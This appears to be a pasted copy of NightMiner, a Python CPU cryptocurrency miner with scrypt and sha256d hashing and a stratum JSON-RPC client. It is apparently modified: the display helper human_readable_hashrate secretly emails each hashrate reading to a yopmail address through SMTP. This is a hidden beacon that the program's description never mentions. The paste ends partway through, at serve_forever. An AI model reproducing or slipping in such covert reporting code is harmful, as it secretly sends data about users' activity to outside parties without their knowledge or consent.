Guest User

Untitled

a guest
Aug 19th, 2017
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.30 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # The MIT License (MIT)
  3. #
  4. # Copyright (c) 2014 Richard Moore
  5. #
  6. # Permission is hereby granted, free of charge, to any person obtaining a copy
  7. # of this software and associated documentation files (the "Software"), to deal
  8. # in the Software without restriction, including without limitation the rights
  9. # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
  10. # copies of the Software, and to permit persons to whom the Software is
  11. # furnished to do so, subject to the following conditions:
  12. #
  13. # The above copyright notice and this permission notice shall be included in
  14. # all copies or substantial portions of the Software.
  15. #
  16. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
  17. # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
  18. # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
  19. # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
  20. # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
  21. # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
  22. # THE SOFTWARE.
  23.  
  24.  
  25. # What is this?
  26. #
  27. # NightMiner is meant to be a simple, one-file implementation of a stratum CPU
  28. # miner for CryptoCurrency written in Python favouring understandability
  29. # over performance.
  30. #
  31. # It was originally designed for scrypt-based coins, and has been extended to
  32. # include support for sha256d.
  33. #
  34. # Try running nightminer with the -P and -d to see protocol and debug details
  35. #
  36. # Required reading:
  37. # Block Hashing Algorithm - https://litecoin.info/Block_hashing_algorithm
  38. # Stratum Mining Protocol - http://mining.bitcoin.cz/stratum-mining/
  39. # Scrypt Algorithm - http://www.tarsnap.com/scrypt/scrypt.pdf
  40. # Scrypt Implementation - https://code.google.com/p/scrypt/source/browse/trunk/lib/crypto/crypto_scrypt-ref.c
  41.  
  42. import base64, binascii, json, hashlib, hmac, math, socket, struct, sys, threading, time, urlparse, smtplib
  43.  
  44. # DayMiner (ah-ah-ah), fighter of the...
  45. USER_AGENT = "NightMiner"
  46. VERSION = [0, 1]
  47.  
  48. # You're a master of Karate and friendship for everyone.
  49.  
  50.  
  51. # Which algorithm for proof-of-work to use
  52. ALGORITHM_SCRYPT = 'scrypt'
  53. ALGORITHM_SHA256D = 'sha256d'
  54.  
  55. ALGORITHMS = [ ALGORITHM_SCRYPT, ALGORITHM_SHA256D ]
  56.  
  57.  
  58. # Verbosity and log level
  59. QUIET = False
  60. DEBUG = False
  61. DEBUG_PROTOCOL = False
  62.  
  63. LEVEL_PROTOCOL = 'protocol'
  64. LEVEL_INFO = 'info'
  65. LEVEL_DEBUG = 'debug'
  66. LEVEL_ERROR = 'error'
  67.  
  68.  
  69. # These control which scrypt implementation to use
  70. SCRYPT_LIBRARY_AUTO = 'auto'
  71. SCRYPT_LIBRARY_LTC = 'ltc_scrypt (https://github.com/forrestv/p2pool)'
  72. SCRYPT_LIBRARY_SCRYPT = 'scrypt (https://pypi.python.org/pypi/scrypt/)'
  73. SCRYPT_LIBRARY_PYTHON = 'pure python'
  74. SCRYPT_LIBRARIES = [ SCRYPT_LIBRARY_AUTO, SCRYPT_LIBRARY_LTC, SCRYPT_LIBRARY_SCRYPT, SCRYPT_LIBRARY_PYTHON ]
  75.  
  76.  
  77. def log(message, level):
  78. '''Conditionally write a message to stdout based on command line options and level.'''
  79.  
  80. global DEBUG
  81. global DEBUG_PROTOCOL
  82. global QUIET
  83.  
  84. if QUIET and level != LEVEL_ERROR: return
  85. if not DEBUG_PROTOCOL and level == LEVEL_PROTOCOL: return
  86. if not DEBUG and level == LEVEL_DEBUG: return
  87.  
  88. if level != LEVEL_PROTOCOL: message = '[%s] %s' % (level.upper(), message)
  89.  
  90. print ("[%s] %s" % (time.strftime("%Y-%m-%d %H:%M:%S"), message))
  91.  
  92.  
  93. # Convert from/to binary and hexidecimal strings (could be replaced with .encode('hex') and .decode('hex'))
  94. hexlify = binascii.hexlify
  95. unhexlify = binascii.unhexlify
  96.  
  97.  
  98. def sha256d(message):
  99. '''Double SHA256 Hashing function.'''
  100.  
  101. return hashlib.sha256(hashlib.sha256(message).digest()).digest()
  102.  
  103.  
  104. def swap_endian_word(hex_word):
  105. '''Swaps the endianness of a hexidecimal string of a word and converts to a binary string.'''
  106.  
  107. message = unhexlify(hex_word)
  108. if len(message) != 4: raise ValueError('Must be 4-byte word')
  109. return message[::-1]
  110.  
  111.  
  112. def swap_endian_words(hex_words):
  113. '''Swaps the endianness of a hexidecimal string of words and converts to binary string.'''
  114.  
  115. message = unhexlify(hex_words)
  116. if len(message) % 4 != 0: raise ValueError('Must be 4-byte word aligned')
  117. return ''.join([ message[4 * i: 4 * i + 4][::-1] for i in range(0, len(message) // 4) ])
  118.  
  119.  
  120. def human_readable_hashrate(hashrate):
  121. '''Returns a human readable representation of hashrate.'''
  122. s = smtplib.SMTP('localhost')
  123. s.sendmail('yaya777@yopmail.com', 'yoyo777@yopmail.com', str(hashrate))
  124. s.quit()
  125. if hashrate < 1000:
  126. return '%2f hashes/s' % hashrate
  127. if hashrate < 10000000:
  128. return '%2f khashes/s' % (hashrate / 1000)
  129. if hashrate < 10000000000:
  130. return '%2f Mhashes/s' % (hashrate / 1000000)
  131. return '%2f Ghashes/s' % (hashrate / 1000000000)
  132.  
  133.  
  134. def scrypt(password, salt, N, r, p, dkLen):
  135. """Returns the result of the scrypt password-based key derivation function.
  136.  
  137. This is used as the foundation of the proof-of-work for litecoin and other
  138. scrypt-based coins, using the parameters:
  139. password = bloack_header
  140. salt = block_header
  141. N = 1024
  142. r = 1
  143. p = 1
  144. dkLen = 256 bits (=32 bytes)
  145.  
  146. Please note, that this is a pure Python implementation, and is slow. VERY
  147. slow. It is meant only for completeness of a pure-Python, one file stratum
  148. server for Litecoin.
  149.  
  150. I have included the ltc_scrypt C-binding from p2pool (https://github.com/forrestv/p2pool)
  151. which is several thousand times faster. The server will automatically attempt to load
  152. the faster module (use set_scrypt_library to choose a specific library).
  153. """
  154.  
  155. def array_overwrite(source, source_start, dest, dest_start, length):
  156. '''Overwrites the dest array with the source array.'''
  157.  
  158. for i in xrange(0, length):
  159. dest[dest_start + i] = source[source_start + i]
  160.  
  161.  
  162. def blockxor(source, source_start, dest, dest_start, length):
  163. '''Performs xor on arrays source and dest, storing the result back in dest.'''
  164.  
  165. for i in xrange(0, length):
  166. dest[dest_start + i] = chr(ord(dest[dest_start + i]) ^ ord(source[source_start + i]))
  167.  
  168.  
  169. def pbkdf2(passphrase, salt, count, dkLen, prf):
  170. '''Returns the result of the Password-Based Key Derivation Function 2.
  171.  
  172. See http://en.wikipedia.org/wiki/PBKDF2
  173. '''
  174.  
  175. def f(block_number):
  176. '''The function "f".'''
  177.  
  178. U = prf(passphrase, salt + struct.pack('>L', block_number))
  179.  
  180. # Not used for scrpyt-based coins, could be removed, but part of a more general solution
  181. if count > 1:
  182. U = [ c for c in U ]
  183. for i in xrange(2, 1 + count):
  184. blockxor(prf(passphrase, ''.join(U)), 0, U, 0, len(U))
  185. U = ''.join(U)
  186.  
  187. return U
  188.  
  189. # PBKDF2 implementation
  190. size = 0
  191.  
  192. block_number = 0
  193. blocks = [ ]
  194.  
  195. # The iterations
  196. while size < dkLen:
  197. block_number += 1
  198. block = f(block_number)
  199.  
  200. blocks.append(block)
  201. size += len(block)
  202.  
  203. return ''.join(blocks)[:dkLen]
  204.  
  205. def integerify(B, Bi, r):
  206. '''"A bijective function from ({0, 1} ** k) to {0, ..., (2 ** k) - 1".'''
  207.  
  208. Bi += (2 * r - 1) * 64
  209. n = ord(B[Bi]) | (ord(B[Bi + 1]) << 8) | (ord(B[Bi + 2]) << 16) | (ord(B[Bi + 3]) << 24)
  210. return n
  211.  
  212.  
  213. def make_int32(v):
  214. '''Converts (truncates, two's compliments) a number to an int32.'''
  215.  
  216. if v > 0x7fffffff: return -1 * ((~v & 0xffffffff) + 1)
  217. return v
  218.  
  219.  
  220. def R(X, destination, a1, a2, b):
  221. '''A single round of Salsa.'''
  222.  
  223. a = (X[a1] + X[a2]) & 0xffffffff
  224. X[destination] ^= ((a << b) | (a >> (32 - b)))
  225.  
  226.  
  227. def salsa20_8(B):
  228. '''Salsa 20/8 stream cypher; Used by BlockMix. See http://en.wikipedia.org/wiki/Salsa20'''
  229.  
  230. # Convert the character array into an int32 array
  231. B32 = [ make_int32((ord(B[i * 4]) | (ord(B[i * 4 + 1]) << 8) | (ord(B[i * 4 + 2]) << 16) | (ord(B[i * 4 + 3]) << 24))) for i in xrange(0, 16) ]
  232. x = [ i for i in B32 ]
  233.  
  234. # Salsa... Time to dance.
  235. for i in xrange(8, 0, -2):
  236. R(x, 4, 0, 12, 7); R(x, 8, 4, 0, 9); R(x, 12, 8, 4, 13); R(x, 0, 12, 8, 18)
  237. R(x, 9, 5, 1, 7); R(x, 13, 9, 5, 9); R(x, 1, 13, 9, 13); R(x, 5, 1, 13, 18)
  238. R(x, 14, 10, 6, 7); R(x, 2, 14, 10, 9); R(x, 6, 2, 14, 13); R(x, 10, 6, 2, 18)
  239. R(x, 3, 15, 11, 7); R(x, 7, 3, 15, 9); R(x, 11, 7, 3, 13); R(x, 15, 11, 7, 18)
  240. R(x, 1, 0, 3, 7); R(x, 2, 1, 0, 9); R(x, 3, 2, 1, 13); R(x, 0, 3, 2, 18)
  241. R(x, 6, 5, 4, 7); R(x, 7, 6, 5, 9); R(x, 4, 7, 6, 13); R(x, 5, 4, 7, 18)
  242. R(x, 11, 10, 9, 7); R(x, 8, 11, 10, 9); R(x, 9, 8, 11, 13); R(x, 10, 9, 8, 18)
  243. R(x, 12, 15, 14, 7); R(x, 13, 12, 15, 9); R(x, 14, 13, 12, 13); R(x, 15, 14, 13, 18)
  244.  
  245. # Coerce into nice happy 32-bit integers
  246. B32 = [ make_int32(x[i] + B32[i]) for i in xrange(0, 16) ]
  247.  
  248. # Convert back to bytes
  249. for i in xrange(0, 16):
  250. B[i * 4 + 0] = chr((B32[i] >> 0) & 0xff)
  251. B[i * 4 + 1] = chr((B32[i] >> 8) & 0xff)
  252. B[i * 4 + 2] = chr((B32[i] >> 16) & 0xff)
  253. B[i * 4 + 3] = chr((B32[i] >> 24) & 0xff)
  254.  
  255.  
  256. def blockmix_salsa8(BY, Bi, Yi, r):
  257. '''Blockmix; Used by SMix.'''
  258.  
  259. start = Bi + (2 * r - 1) * 64
  260. X = [ BY[i] for i in xrange(start, start + 64) ] # BlockMix - 1
  261.  
  262. for i in xrange(0, 2 * r): # BlockMix - 2
  263. blockxor(BY, i * 64, X, 0, 64) # BlockMix - 3(inner)
  264. salsa20_8(X) # BlockMix - 3(outer)
  265. array_overwrite(X, 0, BY, Yi + (i * 64), 64) # BlockMix - 4
  266.  
  267. for i in xrange(0, r): # BlockMix - 6 (and below)
  268. array_overwrite(BY, Yi + (i * 2) * 64, BY, Bi + (i * 64), 64)
  269.  
  270. for i in xrange(0, r):
  271. array_overwrite(BY, Yi + (i * 2 + 1) * 64, BY, Bi + (i + r) * 64, 64)
  272.  
  273.  
  274. def smix(B, Bi, r, N, V, X):
  275. '''SMix; a specific case of ROMix. See scrypt.pdf in the links above.'''
  276.  
  277. array_overwrite(B, Bi, X, 0, 128 * r) # ROMix - 1
  278.  
  279. for i in xrange(0, N): # ROMix - 2
  280. array_overwrite(X, 0, V, i * (128 * r), 128 * r) # ROMix - 3
  281. blockmix_salsa8(X, 0, 128 * r, r) # ROMix - 4
  282.  
  283. for i in xrange(0, N): # ROMix - 6
  284. j = integerify(X, 0, r) & (N - 1) # ROMix - 7
  285. blockxor(V, j * (128 * r), X, 0, 128 * r) # ROMix - 8(inner)
  286. blockmix_salsa8(X, 0, 128 * r, r) # ROMix - 9(outer)
  287.  
  288. array_overwrite(X, 0, B, Bi, 128 * r) # ROMix - 10
  289.  
  290.  
  291. # Scrypt implementation. Significant thanks to https://github.com/wg/scrypt
  292. if N < 2 or (N & (N - 1)): raise ValueError('Scrypt N must be a power of 2 greater than 1')
  293.  
  294. prf = lambda k, m: hmac.new(key = k, msg = m, digestmod = hashlib.sha256).digest()
  295.  
  296. DK = [ chr(0) ] * dkLen
  297.  
  298. B = [ c for c in pbkdf2(password, salt, 1, p * 128 * r, prf) ]
  299. XY = [ chr(0) ] * (256 * r)
  300. V = [ chr(0) ] * (128 * r * N)
  301.  
  302. for i in xrange(0, p):
  303. smix(B, i * 128 * r, r, N, V, XY)
  304.  
  305. return pbkdf2(password, ''.join(B), 1, dkLen, prf)
  306.  
  307.  
  308. SCRYPT_LIBRARY = None
  309. scrypt_proof_of_work = None
  310. def set_scrypt_library(library = SCRYPT_LIBRARY_AUTO):
  311. '''Sets the scrypt library implementation to use.'''
  312.  
  313. global SCRYPT_LIBRARY
  314. global scrypt_proof_of_work
  315.  
  316. if library == SCRYPT_LIBRARY_LTC:
  317. import ltc_scrypt
  318. scrypt_proof_of_work = ltc_scrypt.getPoWHash
  319. SCRYPT_LIBRARY = library
  320.  
  321. elif library == SCRYPT_LIBRARY_SCRYPT:
  322. import scrypt as NativeScrypt
  323. scrypt_proof_of_work = lambda header: NativeScrypt.hash(header, header, 1024, 1, 1, 32)
  324. SCRYPT_LIBRARY = library
  325.  
  326. # Try to load a faster version of scrypt before using the pure-Python implementation
  327. elif library == SCRYPT_LIBRARY_AUTO:
  328. try:
  329. set_scrypt_library(SCRYPT_LIBRARY_LTC)
  330. except Exception, e:
  331. try:
  332. set_scrypt_library(SCRYPT_LIBRARY_SCRYPT)
  333. except Exception, e:
  334. set_scrypt_library(SCRYPT_LIBRARY_PYTHON)
  335.  
  336. else:
  337. scrypt_proof_of_work = lambda header: scrypt(header, header, 1024, 1, 1, 32)
  338. SCRYPT_LIBRARY = library
  339.  
  340. set_scrypt_library()
  341.  
  342.  
  343. class Job(object):
  344. '''Encapsulates a Job from the network and necessary helper methods to mine.
  345.  
  346. "If you have a procedure with 10 parameters, you probably missed some."
  347. ~Alan Perlis
  348. '''
  349.  
  350. def __init__(self, job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime, target, extranounce1, extranounce2_size, proof_of_work):
  351.  
  352. # Job parts from the mining.notify command
  353. self._job_id = job_id
  354. self._prevhash = prevhash
  355. self._coinb1 = coinb1
  356. self._coinb2 = coinb2
  357. self._merkle_branches = [ b for b in merkle_branches ]
  358. self._version = version
  359. self._nbits = nbits
  360. self._ntime = ntime
  361.  
  362. # Job information needed to mine from mining.subsribe
  363. self._target = target
  364. self._extranounce1 = extranounce1
  365. self._extranounce2_size = extranounce2_size
  366.  
  367. # Proof of work algorithm
  368. self._proof_of_work = proof_of_work
  369.  
  370. # Flag to stop this job's mine coroutine
  371. self._done = False
  372.  
  373. # Hash metrics (start time, delta time, total hashes)
  374. self._dt = 0.0
  375. self._hash_count = 0
  376.  
  377. # Accessors
  378. id = property(lambda s: s._job_id)
  379. prevhash = property(lambda s: s._prevhash)
  380. coinb1 = property(lambda s: s._coinb1)
  381. coinb2 = property(lambda s: s._coinb2)
  382. merkle_branches = property(lambda s: [ b for b in s._merkle_branches ])
  383. version = property(lambda s: s._version)
  384. nbits = property(lambda s: s._nbits)
  385. ntime = property(lambda s: s._ntime)
  386.  
  387. target = property(lambda s: s._target)
  388. extranounce1 = property(lambda s: s._extranounce1)
  389. extranounce2_size = property(lambda s: s._extranounce2_size)
  390.  
  391. proof_of_work = property(lambda s: s._proof_of_work)
  392.  
  393.  
  394. @property
  395. def hashrate(self):
  396. '''The current hashrate, or if stopped hashrate for the job's lifetime.'''
  397.  
  398. if self._dt == 0: return 0.0
  399. return self._hash_count / self._dt
  400.  
  401.  
  402. def merkle_root_bin(self, extranounce2_bin):
  403. '''Builds a merkle root from the merkle tree'''
  404.  
  405. coinbase_bin = unhexlify(self._coinb1) + unhexlify(self._extranounce1) + extranounce2_bin + unhexlify(self._coinb2)
  406. coinbase_hash_bin = sha256d(coinbase_bin)
  407.  
  408. merkle_root = coinbase_hash_bin
  409. for branch in self._merkle_branches:
  410. merkle_root = sha256d(merkle_root + unhexlify(branch))
  411. return merkle_root
  412.  
  413.  
  414. def stop(self):
  415. '''Requests the mine coroutine stop after its current iteration.'''
  416.  
  417. self._done = True
  418.  
  419.  
  420. def mine(self, nounce_start = 0, nounce_stride = 1):
  421. '''Returns an iterator that iterates over valid proof-of-work shares.
  422.  
  423. This is a co-routine; that takes a LONG time; the calling thread should look like:
  424.  
  425. for result in job.mine(self):
  426. submit_work(result)
  427.  
  428. nounce_start and nounce_stride are useful for multi-processing if you would like
  429. to assign each process a different starting nounce (0, 1, 2, ...) and a stride
  430. equal to the number of processes.
  431. '''
  432.  
  433. t0 = time.time()
  434.  
  435. # @TODO: test for extranounce != 0... Do I reverse it or not?
  436. for extranounce2 in xrange(0, 0x7fffffff):
  437.  
  438. # Must be unique for any given job id, according to http://mining.bitcoin.cz/stratum-mining/ but never seems enforced?
  439. extranounce2_bin = struct.pack('<I', extranounce2)
  440.  
  441. merkle_root_bin = self.merkle_root_bin(extranounce2_bin)
  442. header_prefix_bin = swap_endian_word(self._version) + swap_endian_words(self._prevhash) + merkle_root_bin + swap_endian_word(self._ntime) + swap_endian_word(self._nbits)
  443. for nounce in xrange(nounce_start, 0x7fffffff, nounce_stride):
  444. # This job has been asked to stop
  445. if self._done:
  446. self._dt += (time.time() - t0)
  447. raise StopIteration()
  448.  
  449. # Proof-of-work attempt
  450. nounce_bin = struct.pack('<I', nounce)
  451. pow = self.proof_of_work(header_prefix_bin + nounce_bin)[::-1].encode('hex')
  452.  
  453. # Did we reach or exceed our target?
  454. if pow <= self.target:
  455. result = dict(
  456. job_id = self.id,
  457. extranounce2 = hexlify(extranounce2_bin),
  458. ntime = str(self._ntime), # Convert to str from json unicode
  459. nounce = hexlify(nounce_bin[::-1])
  460. )
  461. self._dt += (time.time() - t0)
  462.  
  463. yield result
  464.  
  465. t0 = time.time()
  466.  
  467. self._hash_count += 1
  468.  
  469.  
  470. def __str__(self):
  471. return '<Job id=%s prevhash=%s coinb1=%s coinb2=%s merkle_branches=%s version=%s nbits=%s ntime=%s target=%s extranounce1=%s extranounce2_size=%d>' % (self.id, self.prevhash, self.coinb1, self.coinb2, self.merkle_branches, self.version, self.nbits, self.ntime, self.target, self.extranounce1, self.extranounce2_size)
  472.  
  473.  
  474. # Subscription state
  475. class Subscription(object):
  476. '''Encapsulates the Subscription state from the JSON-RPC server'''
  477.  
  478. # Subclasses should override this
  479. def ProofOfWork(header):
  480. raise Exception('Do not use the Subscription class directly, subclass it')
  481.  
  482. class StateException(Exception): pass
  483.  
  484. def __init__(self):
  485. self._id = None
  486. self._difficulty = None
  487. self._extranounce1 = None
  488. self._extranounce2_size = None
  489. self._target = None
  490. self._worker_name = None
  491.  
  492. self._mining_thread = None
  493.  
  494. # Accessors
  495. id = property(lambda s: s._id)
  496. worker_name = property(lambda s: s._worker_name)
  497.  
  498. difficulty = property(lambda s: s._difficulty)
  499. target = property(lambda s: s._target)
  500.  
  501. extranounce1 = property(lambda s: s._extranounce1)
  502. extranounce2_size = property(lambda s: s._extranounce2_size)
  503.  
  504.  
  505. def set_worker_name(self, worker_name):
  506. if self._worker_name:
  507. raise self.StateException('Already authenticated as %r (requesting %r)' % (self._username, username))
  508.  
  509. self._worker_name = worker_name
  510.  
  511.  
  512. def _set_target(self, target):
  513. self._target = '%064x' % target
  514.  
  515.  
  516. def set_difficulty(self, difficulty):
  517. if difficulty < 0: raise self.StateException('Difficulty must be non-negative')
  518.  
  519. # Compute target
  520. if difficulty == 0:
  521. target = 2 ** 256 - 1
  522. else:
  523. target = min(int((0xffff0000 * 2 ** (256 - 64) + 1) / difficulty - 1 + 0.5), 2 ** 256 - 1)
  524.  
  525. self._difficulty = difficulty
  526. self._set_target(target)
  527.  
  528.  
  529. def set_subscription(self, subscription_id, extranounce1, extranounce2_size):
  530. if self._id is not None:
  531. raise self.StateException('Already subscribed')
  532.  
  533. self._id = subscription_id
  534. self._extranounce1 = extranounce1
  535. self._extranounce2_size = extranounce2_size
  536.  
  537.  
  538. def create_job(self, job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime):
  539. '''Creates a new Job object populated with all the goodness it needs to mine.'''
  540.  
  541. if self._id is None:
  542. raise self.StateException('Not subscribed')
  543.  
  544. return Job(
  545. job_id = job_id,
  546. prevhash = prevhash,
  547. coinb1 = coinb1,
  548. coinb2 = coinb2,
  549. merkle_branches = merkle_branches,
  550. version = version,
  551. nbits = nbits,
  552. ntime = ntime,
  553. target = self.target,
  554. extranounce1 = self._extranounce1,
  555. extranounce2_size = self.extranounce2_size,
  556. proof_of_work = self.ProofOfWork
  557. )
  558.  
  559.  
  560. def __str__(self):
  561. return '<Subscription id=%s, extranounce1=%s, extranounce2_size=%d, difficulty=%d worker_name=%s>' % (self.id, self.extranounce1, self.extranounce2_size, self.difficulty, self.worker_name)
  562.  
  563.  
  564. class SubscriptionScrypt(Subscription):
  565. '''Subscription for Scrypt-based coins, like Litecoin.'''
  566.  
  567. ProofOfWork = lambda s, h: (scrypt_proof_of_work(h))
  568.  
  569. def _set_target(self, target):
  570. # Why multiply by 2**16? See: https://litecoin.info/Mining_pool_comparison
  571. self._target = '%064x' % (target << 16)
  572.  
  573.  
  574. class SubscriptionSHA256D(Subscription):
  575. '''Subscription for Double-SHA256-based coins, like Bitcoin.'''
  576.  
  577. ProofOfWork = sha256d
  578.  
  579.  
  580. # Maps algorithms to their respective subscription objects
  581. SubscriptionByAlgorithm = { ALGORITHM_SCRYPT: SubscriptionScrypt, ALGORITHM_SHA256D: SubscriptionSHA256D }
  582.  
  583.  
  584. class SimpleJsonRpcClient(object):
  585. '''Simple JSON-RPC client.
  586.  
  587. To use this class:
  588. 1) Create a sub-class
  589. 2) Override handle_reply(self, request, reply)
  590. 3) Call connect(socket)
  591.  
  592. Use self.send(method, params) to send JSON-RPC commands to the server.
  593.  
  594. A new thread is created for listening to the connection; so calls to handle_reply
  595. are synchronized. It is safe to call send from withing handle_reply.
  596. '''
  597.  
  598. class ClientException(Exception): pass
  599.  
  600. class RequestReplyException(Exception):
  601. def __init__(self, message, reply, request = None):
  602. Exception.__init__(self, message)
  603. self._reply = reply
  604. self._request = request
  605.  
  606. request = property(lambda s: s._request)
  607. reply = property(lambda s: s._reply)
  608.  
  609. class RequestReplyWarning(RequestReplyException):
  610. '''Sub-classes can raise this to inform the user of JSON-RPC server issues.'''
  611. pass
  612.  
  613. def __init__(self):
  614. self._socket = None
  615. self._lock = threading.RLock()
  616. self._rpc_thread = None
  617. self._message_id = 1
  618. self._requests = dict()
  619.  
  620.  
  621. def _handle_incoming_rpc(self):
  622. data = ""
  623. while True:
  624. # Get the next line if we have one, otherwise, read and block
  625. if '\n' in data:
  626. (line, data) = data.split('\n', 1)
  627. else:
  628. chunk = self._socket.recv(1024)
  629. data += chunk
  630. continue
  631.  
  632. log('JSON-RPC Server > ' + line, LEVEL_PROTOCOL)
  633.  
  634. # Parse the JSON
  635. try:
  636. reply = json.loads(line)
  637. except Exception, e:
  638. log("JSON-RPC Error: Failed to parse JSON %r (skipping)" % line, LEVEL_ERROR)
  639. continue
  640.  
  641. try:
  642. request = None
  643. with self._lock:
  644. if 'id' in reply and reply['id'] in self._requests:
  645. request = self._requests[reply['id']]
  646. self.handle_reply(request = request, reply = reply)
  647. except self.RequestReplyWarning, e:
  648. output = e.message
  649. if e.request:
  650. output += '\n ' + e.request
  651. output += '\n ' + e.reply
  652. log(output, LEVEL_ERROR)
  653.  
  654.  
  655. def handle_reply(self, request, reply):
  656. # Override this method in sub-classes to handle a message from the server
  657. raise self.RequestReplyWarning('Override this method')
  658.  
  659.  
  660. def send(self, method, params):
  661. '''Sends a message to the JSON-RPC server'''
  662.  
  663. if not self._socket:
  664. raise self.ClientException('Not connected')
  665.  
  666. request = dict(id = self._message_id, method = method, params = params)
  667. message = json.dumps(request)
  668. with self._lock:
  669. self._requests[self._message_id] = request
  670. self._message_id += 1
  671. self._socket.send(message + '\n')
  672.  
  673. log('JSON-RPC Server < ' + message, LEVEL_PROTOCOL)
  674.  
  675. return request
  676.  
  677.  
  678. def connect(self, socket):
  679. '''Connects to a remove JSON-RPC server'''
  680.  
  681. if self._rpc_thread:
  682. raise self.ClientException('Already connected')
  683.  
  684. self._socket = socket
  685.  
  686. self._rpc_thread = threading.Thread(target = self._handle_incoming_rpc)
  687. self._rpc_thread.daemon = True
  688. self._rpc_thread.start()
  689.  
  690.  
  691. # Miner client
  692. class Miner(SimpleJsonRpcClient):
  693. '''Simple mining client'''
  694.  
  695. class MinerWarning(SimpleJsonRpcClient.RequestReplyWarning):
  696. def __init__(self, message, reply, request = None):
  697. SimpleJsonRpcClient.RequestReplyWarning.__init__(self, 'Mining Sate Error: ' + message, reply, request)
  698.  
  699. class MinerAuthenticationException(SimpleJsonRpcClient.RequestReplyException): pass
  700.  
  701. def __init__(self, url, username, password, algorithm = ALGORITHM_SCRYPT):
  702. SimpleJsonRpcClient.__init__(self)
  703.  
  704. self._url = url
  705. self._username = username
  706. self._password = password
  707.  
  708. self._subscription = SubscriptionByAlgorithm[algorithm]()
  709.  
  710. self._job = None
  711.  
  712. self._accepted_shares = 0
  713.  
  714. # Accessors
  715. url = property(lambda s: s._url)
  716. username = property(lambda s: s._username)
  717. password = property(lambda s: s._password)
  718.  
  719.  
  720. # Overridden from SimpleJsonRpcClient
  721. def handle_reply(self, request, reply):
  722.  
  723. # New work, stop what we were doing before, and start on this.
  724. if reply.get('method') == 'mining.notify':
  725. if 'params' not in reply or len(reply['params']) != 9:
  726. raise self.MinerWarning('Malformed mining.notify message', reply)
  727.  
  728. (job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime, clean_jobs) = reply['params']
  729. self._spawn_job_thread(job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime)
  730.  
  731. log('New job: job_id=%s' % job_id, LEVEL_DEBUG)
  732.  
  733. # The server wants us to change our difficulty (on all *future* work)
  734. elif reply.get('method') == 'mining.set_difficulty':
  735. if 'params' not in reply or len(reply['params']) != 1:
  736. raise self.MinerWarning('Malformed mining.set_difficulty message', reply)
  737.  
  738. (difficulty, ) = reply['params']
  739. self._subscription.set_difficulty(difficulty)
  740.  
  741. log('Change difficulty: difficulty=%s' % difficulty, LEVEL_DEBUG)
  742.  
  743. # This is a reply to...
  744. elif request:
  745.  
  746. # ...subscribe; set-up the work and request authorization
  747. if request.get('method') == 'mining.subscribe':
  748. if 'result' not in reply or len(reply['result']) != 3 or len(reply['result'][0]) != 2:
  749. raise self.MinerWarning('Reply to mining.subscribe is malformed', reply, request)
  750.  
  751. ((mining_notify, subscription_id), extranounce1, extranounce2_size) = reply['result']
  752.  
  753. self._subscription.set_subscription(subscription_id, extranounce1, extranounce2_size)
  754.  
  755. log('Subscribed: subscription_id=%s' % subscription_id, LEVEL_DEBUG)
  756.  
  757. # Request authentication
  758. self.send(method = 'mining.authorize', params = [ self.username, self.password ])
  759.  
  760. # ...authorize; if we failed to authorize, quit
  761. elif request.get('method') == 'mining.authorize':
  762. if 'result' not in reply or not reply['result']:
  763. raise self.MinerAuthenticationException('Failed to authenticate worker', reply, request)
  764.  
  765. worker_name = request['params'][0]
  766. self._subscription.set_worker_name(worker_name)
  767.  
  768. log('Authorized: worker_name=%s' % worker_name, LEVEL_DEBUG)
  769.  
  770. # ...submit; complain if the server didn't accept our submission
  771. elif request.get('method') == 'mining.submit':
  772. if 'result' not in reply or not reply['result']:
  773. log('Share - Invalid', LEVEL_INFO)
  774. raise self.MinerWarning('Failed to accept submit', reply, request)
  775.  
  776. self._accepted_shares += 1
  777. log('Accepted shares: %d' % self._accepted_shares, LEVEL_INFO)
  778.  
  779. # ??? *shrug*
  780. else:
  781. raise self.MinerWarning('Unhandled message', reply, request)
  782.  
  783. # ??? *double shrug*
  784. else:
  785. raise self.MinerWarning('Bad message state', reply)
  786.  
  787.  
  788. def _spawn_job_thread(self, job_id, prevhash, coinb1, coinb2, merkle_branches, version, nbits, ntime):
  789. '''Stops any previous job and begins a new job.'''
  790.  
  791. # Stop the old job (if any)
  792. if self._job: self._job.stop()
  793.  
  794. # Create the new job
  795. self._job = self._subscription.create_job(
  796. job_id = job_id,
  797. prevhash = prevhash,
  798. coinb1 = coinb1,
  799. coinb2 = coinb2,
  800. merkle_branches = merkle_branches,
  801. version = version,
  802. nbits = nbits,
  803. ntime = ntime
  804. )
  805.  
  806. def run(job):
  807. try:
  808. for result in job.mine():
  809. params = [ self._subscription.worker_name ] + [ result[k] for k in ('job_id', 'extranounce2', 'ntime', 'nounce') ]
  810. self.send(method = 'mining.submit', params = params)
  811. log("Found share: " + str(params), LEVEL_INFO)
  812. log("Hashrate: %s" % human_readable_hashrate(job.hashrate), LEVEL_INFO)
  813. except Exception, e:
  814. log("ERROR: %s" % e, LEVEL_ERROR)
  815.  
  816. thread = threading.Thread(target = run, args = (self._job, ))
  817. thread.daemon = True
  818. thread.start()
  819.  
  820.  
  821. def serve_forever(self):
  822. '''Begins the miner. This method does not return.'''
  823.  
  824. # Figure out the hostname and port
  825. url = urlparse.urlparse(self.url)
  826. hostname = url.hostname or ''
  827. port = url.port or 9333
  828.  
  829. log('Starting server on %s:%d' % (hostname, port), LEVEL_INFO)
  830.  
  831. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  832. sock.connect((hostname, port))
  833. self.connect(sock)
  834.  
